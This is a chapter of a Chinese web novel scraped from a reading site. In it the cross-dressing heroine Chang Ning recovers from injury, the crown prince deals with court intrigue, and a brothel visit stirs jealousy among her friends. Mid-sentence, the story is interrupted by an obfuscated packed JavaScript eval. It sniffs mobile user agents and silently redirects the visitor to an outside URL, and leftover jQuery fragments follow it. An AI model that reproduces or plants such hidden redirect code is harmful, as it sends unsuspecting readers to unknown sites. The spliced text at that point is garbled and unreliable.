默认冷灰
24号文字
方正启体

11. 琴师

作者:爱吃小蛋糕本书字数:K更新时间:
    翌日睁眼,常宁浑身难受,被炭盆曛得出了一层热汗,下意识便要撑床起身。这一动,却牵连到了脊背的伤,白着脸又趴下了。


    明玉一直在外面守着,听到动静,倒了茶水过来,“少爷先用些水,今日夫人亲自下厨,给您煮了些清淡可口的饭菜。”


    常宁捂着嘴笑:“我这是什么神仙日子呀!”


    她娘忙得紧,每年只在常宁生辰时做一碗长寿面,更别提给常宁做早膳吃。何况如今不用早起、不用念书,更不用写功课,实在美哉。


    明玉拿着汤匙喂常宁水喝。常宁一咽下去,不知怎么抽到了背,顿时疼得脸色煞白。


    “少爷?可要叫大夫来?”明玉忧急。


    “不用不用,大夫来了我还是痛,”常宁头歪在软枕上,视线越过床帐往外看去,忽然喜道,“明玉,今天天气真好!”


    明玉顺着看去,果然见金光入室,窗台上的虞美人开得正好,火热的色泽,一片欣欣向荣。常宁的七彩琉璃漏窗,虽被姜夫人点评模样怪异又突兀,此刻被金乌光辉一照,却散发着莹莹的光,明玉也看笑了。


    常宁倒想起一桩未尽的事,“明玉,我来说,你写下来,送到泰春坊承平巷公孙家去。”


    自常宁从宫里回来,姜夫人便将常宁院里的丫鬟小厮遣出去了大半,以免人多坏了清净。连张侍玉,都被请到了离常宁不远不近的院子里。


    书剑守在常宁院门口,每每有人路过,都要谨慎地比个“安静”的手势。因姜夫人吩咐,近日已经鲜少有人往这边来,但书剑还是眼睛睁得大大,死盯着周围。


    一眨眼的功夫,面前就掠过一抹黑影,书剑险些惊呼出声,幸而抬头瞧见是张侍玉,可算松了口气,“公子止步,夫人有吩咐,少爷近来不见人。”


    这人却不听,在书剑面前一晃,身轻如燕地跃过了墙头,飘飘然去寻常宁,急得书剑匆匆跟进去,“停下!”


    彼时常宁正舒服地吃着明月喂来的粥,听到这动静,举目望了一眼,“好了书剑,让他进来。”


    粥还剩一些,明月依旧喂着,被张侍玉眼光一扫,手腕略晃了晃,粥洒了些。


    张侍玉一进来就站在窗下,挡了常宁的光,还吓着了明月。常宁不满:“你别吓着人。”


    这神气冲天的模样,和昨夜睡梦中都哭着喊疼的,哪里是一个人。


    张侍玉抱臂冷哼一声,将两粒药丸拍在案上,只看过常宁一眼,便又翻墙离去。


    ……


    李稷在蒲团上跪了一夜,膝盖青紫溢血,又撑着上了早朝,面色亦不大好。


    御医开了化瘀安神的汤药,典膳丞煎了,奉上一碗黑乎乎的苦药汁子,又仔细着涂了膏药。


    太子宾客方俞周嗅着苦涩的药味,面上再恭谨,心下也止不住叹了口气。等李稷一口闷下,方俞周道:“殿下,昨日推英国公落水的,正是英国公远房叔父、常伴读的叔公,见英国公昏迷不醒,已自投荷花池,死无对证。余下的,并未查出。”


    然常宁这位叔公,着实没有谋害英国公的理由。且英国公年轻时也是个文武全才,又善凫水,这位叔公却已老迈,断无可能如此轻易便得手。


    李稷屈指点上书案:“莫再查了。”


    方俞周心神一松:“是。”


    昨夜皇后娘娘罚殿下跪了一夜……方俞周每念及此,便一个激灵。再查下去,恐怕要牵扯到殿下家事。


    李稷道:“派几个人,盯着英国公府。若有刺客,格杀勿论。”


    方俞周为刑部侍郎,兼任太子宾客,稍一思索便明悟过来,当下便有了安排,“殿下千金之躯,万望爱惜自身。您系兆民之心,承宗庙之重,切勿以身犯险。”


    殿下纯孝,中宫娘娘却更偏爱幼子,东宫诸臣僚心跟明镜似的。只是这位娘娘实在荒唐,竟扯了个四不像的由头,罚殿下跪了整整一夜,未免太轻视殿下,也太瞧不起他们东宫诸臣。


    他们这班人马,虽是陛下病重临时而设,后来陛下病愈,又裁去许多,可却不是吃素的。庆和帝当时是真以为自己要龙驭宾天,恐江山不稳、主少国疑,留给少主的臣工,自是精心遴选。


    太傅惊闻此事,连夜写奏折弹劾皇三子李秩,道其目视母、兄争执而不劝解,反嬉笑安枕,疏于孝悌之道,骂得不脏,但足矣让皇三子禁足数日。更重要的是,皇三子面上无光,声名有损。


    打皇三子的脸,远比弹劾皇后娘娘更轻松、更有杀伤力。若非皇三子与殿下为一母所出,恐伤及殿下,他们又哪里愿意轻轻揭过。


    碧玉药瓶被李稷攥在手心,凉津津的触感,一如昨日扶常宁时,沁凉的肌骨,“孤知了。”


    方俞周深望着李稷,拱手告退。


    殿下少有贤名,哪怕近来中宫偏爱幼子、帝心渐弛,却愈发纯孝清正,入朝听政后,又颇有才能。


    而他们这些臣子,数年前被庆和帝托孤时何等的风光,如今又遭受陛下何等疏远?太子顺利登基,他们才能往上爬,否则便要蹉跎一辈子了。


    谁都不能动摇殿下的地位。


    ……


    一个多月下来,姜夫人已经允许常宁出门了。


    但常宁只是能下地走动,依旧不能跑跑跳跳。


    出门的第一天,常宁就直奔云府,侯在云府等云策从御书房下值。


    直到天擦黑,常宁也没见云策回来,反而见了云策的长随给家里报信。常宁本欲归家,却见那长随又古怪地出来了,形色颇有些匆忙。


    常宁截了人:“青杏,你家少爷去哪儿了?”


    青杏头皮发麻,侧目良久,念起他家少爷整日里惦记着常宁,一咬牙道:“常少爷,您跟小的来。”


    红袖招嘛,张灯结彩的,一片喜乐,常宁当下就要抬步进去。


    明玉忙拉住常宁手腕,抿唇摇头:“少爷,夫人不让去。”


    常宁闻到阵阵香气,对面的姑娘们婀娜美丽,还有几个俊秀的小倌立在人后往外瞧,遂笑道:“明玉,我只是进去叫云策,你别怕,我一会儿就出来,你在这儿等我。你别进来啊,在这儿等我就成。”


    留了几个侍卫和明玉作伴,常宁披了件小披风,拉上兜帽遮住头发,又带了一个侍卫,让青杏带路,噔噔噔往楼上去。


    一路香风笑语,常宁心神俱欢。


    小倌多俊秀,面对常宁倚门而笑,举手投足间自有风情。常宁一时都看呆了,人走了过去,还歪着头看人家。直到小倌举帕掩唇,嗲嗲地叫常宁“哥哥来玩呀”,常宁才恍然惊醒,闹了个大红脸,提起衣摆埋头赶路。


    几个凶神恶煞的汉子堵着个抱琴青年,秦寿缓带轻裘,微抬了折扇遮住下颌,冷冷道:“卞玉,你不要敬酒不吃吃罚酒。你以为你还是家里的公子哥?呵,要不是少爷我,你早不知被流放到哪个犄角旮旯了,哪里还能锦衣玉食的?现在,进去。”


    大汉围了一圈,常宁看不到里头的人,亦不知秦寿说的“进去”是什么意思,只依稀见着个孤傲的轮廓。等她走得近了些,倒是瞧见个面覆寒霜的玉面公子,素衣白玉簪,不饰一物,指骨攥在琴上,常宁几乎能听到切齿声。


    再配着周遭人暧昧的低笑,常宁便有些明了,低头快步走过去。这情爱一事,向来难缠,也容易遭受波及,常宁好险顺顺利利到了云策门前,推门入内。


    里面却不只有云策,本来一片火热的讲话声,见常宁来就是一滞。


    公孙瑾把玩着酒杯立在窗前,云策和他隔得远远地,江晚照规规矩矩跪坐在蒲团上,低着眼哪里都不敢瞧。


    两个姿容秀美的姑娘抚琴起舞,在烛下美得生光。常宁一眼便有些心醉,又见她们咬唇盈盈望向三人,三人却视若无睹,不禁咳了声,“你们仨专注些。”


    这么美的姑娘,既不听人弹的琴,也不看人作的舞,多伤人的心?瞧着两个姑娘急得眸中含泪,常宁实在不懂他们三个在想什么。


    三人见了常宁,神色间掠过些不自然。待听了常宁这话,更是恍若未闻,连个眼光都不带动的。


    常宁少不得哄着些人:“姑娘莫怕,他们几个是木头,哪里晓得姑娘家的柔情?只管安心弹曲跳舞就是,我自会看的。”


    云策额头青筋直跳,一个箭步弹到常宁身边,眼见手就要拍在常宁肩上晃醒常宁,堪堪忍住了,见常宁面颊绯红,耳尖也血一


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15307325|167231||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    般的红透,吞吞吐吐道,“常宁,你这么害羞做什么?”


    “有吗?”常宁不在意,目光还盯着人看,待到一个姑娘捧着酒盏来喂酒,常宁也乖乖的,任那姑娘来挽上胳膊、递杯至唇边,只觉得酒都是香甜的,当下从腰带上解下了两枚玉珏,要往二人手里塞。


    “砰——”


    公孙瑾掷杯,碎瓷遍地,茶汤氤氲在地板上。


    姑娘们也不唱曲了,亦不作舞了,瑟缩着往常宁怀里钻。常宁还是清醒的,虽觉香气阵阵、温如软玉,也不敢靠太近,好生安抚了两位姑娘出门。


    江晚照捉着衣角,公孙瑾面容晦暗。常宁欲寻盟友,惊觉云策面色也有些难看。


    好嘛,终究是成了孤家寡人一个!


    常宁皱眉:“我进来,你们话都不说了,瞒着我就算了。那你们冷落姑娘家,我宽慰一二,怎么就又惹了你们的气?”


    公孙瑾嗤笑抬头,不屑地望着屋顶,“这么喜欢喝人家奉的酒,你倒是给我奉一杯看看。”


    先前他打常宁板子,常宁清楚他是迫不得已,没生怨怪。如今这话可没人逼他说,常宁也啪地一拍桌子,“有本事你自个去当小倌?你求着给我奉酒,我都不要!”


    江晚照亦觉不妥。虽常宁喝花娘的酒,他也觉得怪怪的。可公孙瑾拿常宁比做花娘,着实太过。又见常宁甩了袖子,气极欲走,他便也拔步追过去,却被云策提了领子。


    云策挂念常宁,急于结束,“今晚的话,谁都不许捅到常宁面前。”


    江晚照巴不得如此,公孙瑾也颔首认同。云策还在想怎么对常宁解释,公孙瑾这厮却一言不发,越过云策和被提着的江晚照,就要追常宁而去。


    云策暗道阴险,忙拂衣要赶。


    公孙瑾却突兀地定在门前,脚步一动不动,面上罕见地有了一丝怒气。


    常宁这一出来,负气要下楼,路过一个包间,里面冷不丁有个公子撞破了门跌出来,常宁便顺手扶了一下。


    这公子面容俊秀,似有诗书文气,偏脸上身上都是鞭子抽出来的伤痕,血珠子都冒出来了,奄奄一息,已无力起身,倒在常宁臂弯里,轻得惊人,眼底有破碎的波光,眸子里却盛满孤绝。


    常宁这个角度,还能看到他轻颤的眼睫、起伏的胸膛,乃至朱红丹唇。直到他撇过眼闭目,常宁憋着的气才缓缓送出来一口。


    秦寿追出来,见了常宁,便是一笑,“哟,常少爷也出来逛花楼、寻小倌?稀见了!”


    臂弯里的公子呼吸一滞,浑身僵硬。常宁想开口安慰几句,也被他躲开了,撑着摇摇欲坠的身子站起来。


    常宁不是没见过生得好看的,她几个同窗相貌都是一顶一的。但这位沦落风尘的公子,这么倔强这么孤傲,又这么脆弱可欺,常宁都想把他欺负哭,真见他眼睫颤颤、满脸屈辱,却又不忍心了,“他是我的人了,秦寿你哪儿凉快哪儿待着去。”


    秦寿面色一寒,“常少爷,截胡可不是这么个截法。”


    常宁才不管,叫来老鸨,“我要给他赎身。”


    秦寿挑衅一笑。


    老鸨为难:“常少爷,无忧是罪臣之后,身契不在我这儿,只是暂留几日,赎不了身。”


    常宁丧气了,一对上无忧的目光,又觉得他可怜,遂道:“烦请你透个底,我自有重谢。”


    秦寿骂骂咧咧:“你疯了,常宁!”


    他也只是折磨这小倌玩玩,常宁看着却像动了真心思,如何叫他不吃惊。


    老鸨眉开眼笑:“我这里也没底,但下次贵人若来,我便将常少爷的话转告于他。”


    云策可算明白了,指节捏得噼啪作响,“好个常宁,果真色迷心窍、见色忘友!”


    “闭嘴,”公孙瑾目视常宁,见常宁甚至留了许多金银,要包下无忧,一直盯着无忧的唇看,他也是怒郁攻心,“今晚的话不作数。”


    云策睁大眼:“这怎么行?说好了的,不许在常宁面前说其他人坏话。”


    江晚照垂首,余光却望着常宁和无忧,无声赞同公孙瑾。


    公孙瑾嗓音发冷:“你要不想和常宁在一起,就看常宁被那小倌勾走吧。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)